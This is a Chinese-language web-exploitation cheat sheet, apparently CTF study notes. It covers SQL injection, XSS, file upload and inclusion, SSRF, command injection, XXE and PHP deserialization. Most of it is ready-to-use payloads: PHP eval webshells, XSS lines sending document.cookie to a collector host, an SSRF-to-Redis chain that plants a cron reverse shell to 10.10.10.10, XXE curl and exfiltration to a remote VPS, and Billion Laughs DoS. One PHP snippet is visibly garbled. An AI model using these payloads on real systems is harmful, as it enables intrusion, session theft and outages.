基本语法
判断列数
order by 3
查询所有数据库:
select group_concat(schema_name) from information_schema.schemata
查询当前数据库的所有表:
select group_concat(table_name) from information_schema.tables where table_schema=database()
查询表中所有字段
select group_concat(column_name) from information_schema.columns where table_name="users"
查询数据
select group_concat(username,password) from pikachu.users
盲注常用函数:
1、left()函数:left(database(),1)>'s'
database()显示数据库名称,left(a,b)从左侧截取a的前b位;
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' -- 0
查询第一个表的首字母是不是e
2、regexp:select user() regexp '^r'
正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式;
?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^s' -- 0
查询第一个数据库中的第一个表的首字母是不是s
3、like:select user() like 'ro%'
与regexp类似,使用like进行匹配
?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%' -- 0
查询第一个数据库中的第一个表的首字母是不是s
4、substr()函数:ascii(substr((select database()),1,1))=98
substr(a,b,c)从b位置开始,截取字符串a的c长度。ASCII()将某个字符串转换为ASCII值
数据库的命名规则是a~z 或 0~9 或是 _下划线
?id=1' and ascii(substr((select database()),1,1))=115 -- 0
判断数据库的第一个字母是不是s
5、ord()函数和mid函数:ord(mid((select user()),1,1))=114
mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转化为ascii值
方法同4、
6、if() - 条件,真返回,假返回
7、mid() - 字符串,起始位置,截取的长度 返回的内容:截取出来的内容
8、sleep()
盲注脚本:
import requests
for i in range(1,30):
result = ''
url = "http://target/index.php?id=-1/**/or/**/" #web7
payload = "ascii(substr(database()/**/from/**/{}/**/for/**/{}))=%d#" #web7 过滤了逗号, = substr(database(),5,1)
payload1 = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/{}/**/for/**/{}))=%d" #flag
payload2 = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)/**/from/**/{}/**/for/**/{}))=%d" #flag
payload3="ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d" #ctfshow{8e2dd139-fd3c-4f81-892e-37eb61ec1828}
for j in range(1,129):
target = url+payload3 % (i,j)
html = requests.get(target)
if "if" in html.text:
result += chr(j)
print(result,end="")
读写文件:
读文件条件:
1.secure_file_priv值允许对该路径下的文件进行操作
2.数据库用户(mysql的属主)对文件有读权限
3.当前数据库登录用户拥有file权限
load_file方法:
id=-1' union select 1,load_file("/etc/passwd"),3 -- -
系统命令方法:
system cat /tmp/1.txt;
写文件:
上述条件下还要知道知道文件的完整路径
一、secure_file_priv
mysql>show global variables like "secure_file_priv";
mysql>show global variables like "secure%";
值为NULL,表示禁止文件的导入与导出
值为某一目录,表示只能对该目录下的文件导入与导出
值为空,表示不对文件的读写进行限制
?id=1 +UNION+SELECT+1,2,’<? phpinfo(); ?>’ into outfile ‘/var/www/html/2.php’ %23
宽字节注入:
宽字节注入原理:
字符型的注入点通常是用单引号来判断的,但是当遇到addslashes()时,单引号会被转义 ,导致我们用来判断注入点的单引号失效。所以我们的目的就是使转义符 \ 失效、使单引号逃逸。
宽字节字符集比如GBK它会自动把两个字节的字符识别为一个汉字,绕过反斜线,使单引号实现注入功能。
使用%df绕过addslashes()函数:
http://ip/?id=-1%df' union select 1,2,database() %23
报错注入:
常用的报错注入的函数:updatexml()、extractvalue()、floor()
基于函数报错的信息获取(select/insert/update/delete)
!注意:利用报错函数的前提是:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
三个基于报错函数的用法:
1、updatexml():函数是MySQL对XML文档数据进行查询和修改的XPATH函数;
作用:改变(查找并替换)XML文档中符合条件的节点的值。
语法:updatexml(xml_document,XPathstring,new_value)
第一个参数:fiedname是string格式,为表中的字段名。
第二个参数:XPathstring(Xpath格式的字符串)。
第三个参数:new_value,String格式替换查找到符合条件的
xpath的丁文是有效的,否则会发生错误。
~:0x7e
例子:字符型注入(get)(delete):
1、kobe' and updatexml(1,concat(0x7e,database(),0x7e),0)#
2、id=57+or+updatexml+(1,concat(0x7e,database(),0x7e),0)
获取表名:
kobe' and updatexml(1,concat(0x7e(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
获取列名:
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#
基于insert下的报错:
在注册框内插入:
xiaohong' or updatexml(1,concat(0x7e,database()),0) or ' 在报错的时候会爆出数据库名;
基于delete下的报错(数字型):
1 or updatexml(1,concat(0x7e,database()),0)
2、extractvalue():函数也是MySQL对XML文档数据进行查询的XPATH函数。
extractvalue()函数的作用是:从目标中返回值包含所查询值的字符串。
语法:ExtracValue(Xml_document,xpath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc。
第二个参数:Xpath_string(Xpath格式的字符串)。
Xpath定位必须是有效的,否则会发生错误。
例子:pikachu 字符型注入:
1、kobe' and extractvalue(0,concat(0x7e,version()))# 显示出数据库的版本。
2、xiaodi' or extractvalue(0,conact(0x7e,database())) or '
3、floor():MySQL中用来取整的函数。
例子:pikachu 字符型注入:
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
其中可以把version()替换成我们想要的内容。
常见注释符:
#
%23
--
-- -
--+
//
/**/
/*letmetest*/
;%00
常见万能密码:
"or "a"="a
'.).or.('.a.'='.a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
'or'='or'
admin'or 1=1#
admin'/*
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
1'or'1'='1
admin' or 1=1/*
bypass:
空格绕过:
/**/
%09 //tab键
%0a
()
^ //异或
引号绕过:
hex编码 //mysql可解析hex 编码赋值
例:
select group_concat(column_name) from information_schema.columns where table_name=0x7573657273
逗号绕过
substr(database(),0,1) = substr(database() from 0 for 1)
<>大小于号绕过:
= //可用=去猜 like 可替换 =
greatest(ascii(substr(database(),0,1)),100) 返回最大值
LEAST(1,2) 返回1 返回最小值
注释符绕过:
;%00 //;表示语句结尾 %00表示截断后面的字符
例:
1'union+select+1,database();%00
双写绕过
大小写绕过
过滤了select
//查表
-1';show tables%23
//查字段
-1';show columns from `user`%23
//查数据
-1';handler `1919810931114514` open as toert;handler toert read next%23
例:
$str1 = $_GET[‘str1’];
$str2 =
G
E
T
[
′
s
t
r
2
′
]
;
i
f
(
m
d
5
(
_GET['str2']; if (md5(
G?ET[′str2′];if(md5(str1) == md5($str2)){
die(‘OK’); }
php弱类型比较产生的漏洞:
通常要构造出MD5值为0e开头的字符串,这样的话弱类型比较会认为是科学技术法,0的多少次方都是0,因此可以绕过
有一些字符串的MD5值为0e开头:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
还有MD5和双MD5以后的值都是0e开头的
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM
常见payload:
<img src="x" onerror=alert(1)>
<img src=1 onmouseover=alert('xss’)>
<a href="javascript:alert(1)">baidu</a>
<a href="javascript:aaa" οnmοuseοver="alert(/xss/)">aa</a>
<script>alert('xss')</script>
<script>prompt('xss')</script>
<input value="" οnclick=alert('xss') type="text">
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">
<iframe src="javascript:alert('xss')"><iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
<iframe src="javascript:prompt(`xss`)"></iframe>
<svg οnlοad=alert(1)>
<input name="name" value="" οnmοuseοver=prompt('xss') bad=“”>
<input type=“hidden” accesskey=“X” onclick=“alert(1)”>
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)) 适用于绕过黑名单alert 在跨站中,String.fromCharCode主要是使到一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为ASCII码,然后再用String.fromCharCode还原,因为大多数的过滤系统都不会把String.fromCharCode加以过滤,例如关键字alert被过滤掉,那就可以这么利用alert(document.cookie)
<img src="1" onerror=alert(1)>
<img src="1" onerror=alert(1)>(实体化()
<img src=1 onerror=alert()>
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<img src="1" onerror=location="javascript:alert(1)”>
<img src="1" οnerrοr=location="javascript:alert%281%29”>
存储型打cookie:
<script>document.write ('<img src="http://127.0.0.1:2233/?'+document.cookie+'"/>');</script>
<script>new Image().src="http://172.16.1.233:2233/?c="+document.cookie;</script>
bypass
文件头绕过:GIF89a
文件类型绕过:content-type: image/jpeg
无<?一句话 <script language="php">eval($_POST[a]);</script>
黑名单:大小写、php3、php4、php5、phtml、.htaccess等绕过
无php一句话:<?=@eval($_POST['a']);?>
白名单绕过:图片马+文件包含 copy 1.png/b + 1.php/a 2.png
中间件漏洞:(post不会url解码)
%00截断:a.php%00.jpg
上传目录可控
.htaccess
<FilesMatch "pte.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
竞争上传(upload-loabs18关)
<?php fputs(fopen('../shell.php','w'),'<?php eval($_POST['a']);?>');?>
危险函数:
include():包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
require():包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
include_once():和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,便不会再导入。
require_once():和 require 类似,不同处在于 require_once 只导入一次。
文件包含支持的伪协议主要有
协议流玩法:
php://input
post提交代码执行: <?php system("ls");?>
php://output
php://filter
文件读取:
?url=php://filter/read=convert.base64-encode/resource=inde.php
?url=php://filter/convert.base64-encode/resource=inde.php
?url=file:///etc/passwd
data://
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b //base64加密代码执行 +号URL编码
phar:// #php>5.3
将 info.php 压缩为 info.zip 注意:压缩时选择仅存储,在文件上传处上传 info.zip 文件
将 info.zip 文件后缀改为 info.jpg,上传 jpg 文件
http://127.0.0.1/pikachu/include.php?file=phar://info.jpg/info.php
zip:// #php>5.3
http://127.0.0.1/pikachu/include.php?file=zip://info.zip%23info.php
等
包含日志文件getshell
常见web日志文件路径(linux):
/etc/httpd/logs/access.log
/var/www/nginx/access.log
/var/log/httpd/access.log
/var/log/apaches/access.log
ssh日志文件包含:
ssh '<?php system($_GET[w]);?>'@172.16.1.233
目录:/var/log/auth.log
远程文件包含:
配置文件设置:
allow_url_include=On
http://127.0.0.1/pikachu/include.php?file=http://vps/shell.php
file协议文件读取:
?url=file://c:/windows/win.ini
端口探测:
?url=127.0.0.1:§123§ //可使用burpsuit 爆破端口 通过banner辨别是否开放
?url=dict://127.0.0.1:§123§ //探测的更全
ssrf打ftp:
?url=fTp://username:password@127.0.0.2:21 //账号密码连接
查看key的值
/?url=fTp://username:password@127.0.0.2:21/key
ssrf打redis未授权:
写入一句话木马:
redis清空缓存文件命令:flushall
?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
?url=dict://127.0.0.1:6379/config:set:dbfilename:shell.php
?url=dict://127.0.0.1:6379/set:shell:"\n\n<?php eval($_POST[a]);?>\n\n" //不可以的话 可以把木马转化为hex 每隔两个加\x \x3C\x3F\x70\x68\x70\x20\x65\x76\x61\x6C\x28\x24\x5F\x50\x4F\x53\x54\x5B\x61\x5D\x29\x3B\x3F\x3E
?url=dict://127.0.0.1:6379/save
写入定时任务:
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save
bypass
127.0.0.1绕过:
1. http://localhost/
2. http://0/
3. http://[0:0:0:0:0:ffff:127.0.0.1]/
4. http://[::]:80/
5. http://127。0。0。1/
6. http://①②⑦.?.?.①
7. http://127.1/
8. http://127.00000.00000.001/
gopher协议:
gopher协议:
gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求,gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)
gopher://IP:port/_{TCP/IP数据流}
python编码脚本:
import urllib
test=\
"""POST /1.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8 #请求头Content-Length字段必须准确无误
a=whoami
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)
使用gopher发动POST请求:
http://172.16.1.242/ssrf.php?url=gopher://127.0.0.1/_POST%20/1.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%208%20%20%20%20%20%20%20%0D%0A%0D%0Aa%3Dwhoami%0D%0A
不成功的话将脚本生成的请求进行url编码:
http://172.16.1.242/ssrf.php?url=gopher://127.0.0.1/%5f%50%4f%53%54%25%32%30%2f%31%2e%70%68%70%25%32%30%48%54%54%50%2f%31%2e%31%25%30%44%25%30%41%48%6f%73%74%25%33%41%25%32%30%31%32%37%2e%30%2e%30%2e%31%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%25%33%41%25%32%30%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%25%33%41%25%32%30%38%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%30%44%25%30%41%25%30%44%25%30%41%61%25%33%44%77%68%6f%61%6d%69%25%30%44%25%30%41
命令行中的管道和逻辑操作符:
WINDOWS系统支持的管道符:
“|”:“|”左边命令的输出就会作为“|”右边命令的输入,此命令可连续使用,第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推
例如:ping www.baidu.com|whoami
“||”:如果前面执行的语句执行出错,则执行后面的语句。
例如:ping www.baidu.com||whoami
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
例如:
ping www.baidu.com&whoami
“&&”:如果前面的语句为真先执行第一个命令后执行第二个命令:
为假则直接出错,也不执行后面的语句。
ping www.baidu.com&&whoami
LINUX系统支持的管道符:
“;”执行完前面的命令执行后面的。
“|”:直接执行后面的语句
[root@master ~]# ping www.baidu.com | whoami
root
“||”:当前面的语句执行出错时,执行后面的语句。
[root@master ~]# ping www.baiduu.com.cndewfsfrsf || whoami
ping: www.baiduu.com.cndewfsfrsf: Name or service not known
root
[root@master ~]#
“&”:如果前面的语句为假,则直接指向后面的语句,前面的语句可真可假。
[root@master ~]# ping www.baiduu.com.cndewfsfrsf & whoami
[1] 31309
root
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句。
[root@joyboy html]# ping www.baidu.com -c 2&& whoami
PING www.a.shifen.com (110.242.68.3) 56(84) bytes of data.
64 bytes from 110.242.68.3 (110.242.68.3): icmp_seq=1 ttl=54 time=56.8 ms
64 bytes from 110.242.68.3 (110.242.68.3): icmp_seq=2 ttl=54 time=11.3 ms
--- www.a.shifen.com ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 11.347/34.112/56.878/22.766 ms
root
[root@joyboy html]# ping www.baidu.comm -c 2&& whoami
ping: www.baidu.comm: Name or service not known
[root@joyboy html]#
bypass:
过滤了cat命令:
可以使用一下读文件命令:
cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
sort%20/flag 读文件
od -a key.php //将文件内容以ASCII码的形式输出,并显示每个ASCII码对应的名字。这个命令可以帮助用户更好地理解文件内容,特别是文本文件
变量拼接读取文件:
拼接读取:
a=ke;b=y.php;cat $a$b
127.0.0.1;a=ke;b=y.php;cat ../$a$b
编码读取文件:
echo "Y2F0IGZsYWcucGhw" | base64 -d|sh
过滤了空格可用以下代替:
$IFS代替空格
$IFS$9
%09 urr编码tab键
windows系统,代替空格
通配符、转义符绕过过滤:?号代表单个字符 *代表多个字符
c'a't key.php
c"a"t key.php
c\at key.*
cat `ls`
glob()函数 可以查找文件, 返回一个文件数组, 常配合通配符来遍历目录
?cmd=print_r(glob(%27*%27)); 打印当前目录出所有文件
highlight_file() 可以使文件内容高亮显示,常由于读取文件内容
http://target/?cmd=highlight_file('flag.php');
写入一句话:
echo "<?php eval(\$_POST['a']);?>" > a.php //\转义$符
编码写入:
"<?php eval($_POST['a']);?>
echo "PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4="|base64 -d|tee a.php
过滤了flag关键字——内联执行反引号:
cat `ls` //打印当前目录下的所有文件内容
无数字、字母RCE
1、异或操作:
在PHP中两个字符串异或之后,得到的还是一个字符串。如果正则过滤了一些字符串,那就可以使用两个不在正则匹配范围内的字符串进行异或得到我们想要的字符串。
字符:? ASCII码:63 二进制:0011 1111???
字符:~ ASCII码:126 二进制:0111 1110?
异或规则:
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
1 XOR 1 = 0
上述两个字符异或得到 二进制:0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A
python脚本:
def r_xor():
for i in range(0,127):
for j in range(0,127):
result=i^j
print(" "+chr(i)+" ASCII:"+str(i)+' <--xor--> '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result))
if __name__ == "__main__":
r_xor()
2、自增操作
a’++ => ‘b’,‘b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。那么,如何拿到一个值为字符串’a’的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
<?php
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
echo $_;
$__=$_;
$__++;
$___.=$__; // B
echo $__;
$__=$_;
$__++;$__++;
$___.=$__; // C
echo $__;
$__=$_;
$__++;$__++;$__++;
$___.=$__; // D
echo $__;
?>
payload1:
http://127.0.0.1/shell.php?shell=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=system&__=type,flag.txt
payload2:
http://127.0.0.1/shell.php?shell=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
payload3:php7.1以上
http://127.0.0.1/shell.php?shell=(~%8F%97%8F%96%91%99%90)();
比如执行system(“type flag.txt”);
<?php
echo urlencode(~'system');
echo "</br>";
echo urlencode(~'type flag.txt');
http://127.0.0.1/shell.php?shell=(~%8C%86%8C%8B%9A%92)(~%8B%86%8F%9A%DF%99%93%9E%98%D1%8B%87%8B);
不能使用数字字母的命令执行
当不能使用字母数字时,当然你可以使用上述的方式构造字符串进行执行,但是这里提供一些新东西,对于linux中的shell是支持正则表达式的,当你忘记某些字符时可以通过? % *来代替,经过测试,这里的匹配方式也是按照顺序进行匹配,所以你可以查看你的linux中/bin目录下面的顺序,来获取一些可以使用的命令,比如
/???/??? => /bin/cat
那么这样的话,如果要获取/var/www/html/index.php(你得感谢apache默认目录如此之深),则可以直接使用
/???/??? /???/???/????/?????.???
标准payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE any[ //any表示任何根元素
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<qwe><ctfshow>&f;</ctfshow></qwe>
php伪协议读取文件:
<?xml version="1.0"?>
<!DOCTYPE any [
<!ENTITY file SYSTEM "php://filter/read/convert.base64-encode/resource=flag.txt">
]>
<user>
<username>&file;</username>
<password>pass</password>
</user>
命令执行:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE any[
<!ENTITY file SYSTEM "except://whoami">
<!ENTITY file SYSTEM "except://curl$IFS'172.16.1.233:2233/backdoor.php'">
]>
<qwe><ctfshow>START_&file;_END</ctfshow></qwe>
ssrf:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt"
>]>
<foo>
&xxe;
</foo>
ddos:如果解析过程变的非常缓慢,则表明测试成功,即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。
<!DOCTYPE data [<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">]>
<data>
&a2;
</data>
Billion Laughs 攻击——一个经典的Dos攻击payload:
<?xml version="1.0"?>
<!DOCTYPE lolz [ <!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2
"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3
"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">......
<!ENTITY lol9
"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>
&lol9;
</lolz>
Blind XXE::
<?xml version="1.0"?>
<!DOCTYPE ANY[<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://remotevps/evil.xml">
%remote;%all;]>
<root>
&send;
</root>
evil.xml:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://remotevps/1.php?
file=%file;'>
xxe bypass
base64编码绕过:
<!DOCTYPE test [
<!ENTITY % init SYSTEM
"data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init;
]>
<foo/>
两款xxe自动化工具:XXEinjector、XXExploiter自行到github上下载探索
常用命令:
http.request.method == "GET"
http.request.method == "POST"
http.request.uri == "/img/logo-edu.gif"
http contains "GET"
http contains "HTTP/1"
// GET包
http.request.method == "GET" && http contains "Host:"
http.request.method == "GET" && http contains "User-Agent:"
// POST包
http.request.method == "POST" && http contains "Host:"
http.request.method == "POST" && http contains "User-Agent:"
// 响应包
http contains "HTTP/1.1 200 OK" && http contains "Content-Type: "
http contains "HTTP/1.1 200 OK" && http contains "Content-Type: "
提取压缩文件:
找到请求包,默认显示为ascii:
修改“显示和保存数据为”-——原始数据
另存为xxx.zip名称——解压缩即可
kali爆破zip加密压缩文件密码:
使用zip2john工具输出zip文件hash,将hash保存为e.txt文件:
使用john命令加指定字典爆破zip的hash:
john e.txt --wordlist=/usr/share/wordlists/rockyou.txt
例题:
<?php
show_source(__FILE__);
class A{
var $test = "ipconfig";
function __destruct()
{
//echo $this->test;
system("$this->test");
}
}
$a = $_GET['test'];
$a_user = unserialize($a);
?>
<?php
class A{
var $test = "type C:\\phpstudy_pro\\WWW\\serialize\\flag.txt";
}
$a = new A;
echo serialize($a);
?>
O:4:"Flag":1:{s:4:"file";s:11:"/etc/passwd";}
O:1:"A":1:{s:4:"test";s:43:"type C:\phpstudy_pro\WWW\serialize\flag.txt";}
O:1:"A"—— 这部分表示一个对象。O 代表对象,1 表示对象的类名的长度(这里是 A),后面的 :"A" 是对象的类名。
:1:{...}—— 这部分表示该对象的内部数据。1 表示数据有1个键-值对,后面的大括号 {...} 包含了这个键-值对的数据。
s:4:"test"—— 这部分表示键 "test"。s:4 指示字符串长度为4,后面的 "test" 就是键的名字。
s:43:"type C:\phpstudy_pro\WWW\serialize\flag.txt"—— 这部分表示值 "type C:\phpstudy_pro\WWW\serialize\flag.txt"。s:43 指示字符串长度为43,后面的 "type C:\phpstudy_pro\WWW\serialize\flag.txt" 就是该键的值。
所以,这段代码表示的是一个名为 A的类的一个对象,该对象有一个键 "test",其对应的值为 "type C:\phpstudy_pro\WWW\serialize\flag.txt"。
PHP魔术方法总览
__construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值
__sleep() 使用serialize()时自动触发
__wakeup() 使用unserialize()时自动触发 //绕过——大于原有对象数的值
__destruct() 当一个对象被销毁时触发 //程序执行完毕对象自动销毁
__toString() 当一个类被当成字符串使用时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
bypass:
__wakeup()绕过:
当对象的属性(变量)数大于实际的个数时,__wakeup()魔法函数被绕过
比如:O:4:"Flag":1:{s:4:"file";s:11:"/etc/passwd";}
改为O:4:"Flag":2:{s:4:"file";s:11:"/etc/passwd";} 即可绕过
正则表达式绕过:
例:(preg_match(’/[oc]:\d+:/i’, $var))
在不区分大小写的情况下 , 若字符串出现 “o:数字” 或者 "c:数字’ 这样的格式 , 那么就被过滤 .很明显 , 因为 serialize() 的参数为 object ,因此参数类型肯定为对象 " O " , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 " O:4 " 这样的字符串肯定无法通过正则匹配绕过
而O:+4没被过滤说明绕过了过滤而且最后的值不变。
绕过访问限制:
1、自定义请求方法
如果请求GET 尝试将其更改为POST、PUT 等,
如果你想绕过 API 的请求限制,尝试HEAD方法。
2.向请求头添加欺骗IP
X-Forwarded: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Forward-For: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
或者使用两个或以上参数
X-Forwarded-For:
X-Forwarded-For: IP
3. 使用特殊字符绕过限制
在电子邮件末尾添加空字节 ( %00 ) 有时可以绕过限制。
尝试在电子邮件后添加空格字符。(未编码)
一些有助于绕过速率限制的常用字符:%0d、%2e、%09、%20、%0、%00、%0d%0a、%0a、%0C
比如email=abc@g.com,a&password=password123
在 api 地址末尾添加斜杠(/)也可以绕过限制。
http://target/v1/login————>http://target/v1/login/
Referer: 来源地址、网址
sessio覆盖:
漏洞原因:通过修改 Cookie 中的某参数来实现登录其他用户
1.使用一个账号登录,找一个可以证明身份的页面,例如首页的欢迎 xxx 或者是个人中心显示昵称的地方,
2.刷新该页面拦截请求,观察Cookie中的字段和值,例如 userid=
xxx,修改Cookie中的值,把 xxx 改成 admin ,
3.forword 放行,页面显示 admin 的信息,则存在此问题。
修复方法:对于客户端标识的用户信息,使用 Session 会话认证方式,避免通过 Cookie 去仿冒其他人的身份。
更多内容欢迎关注公众号: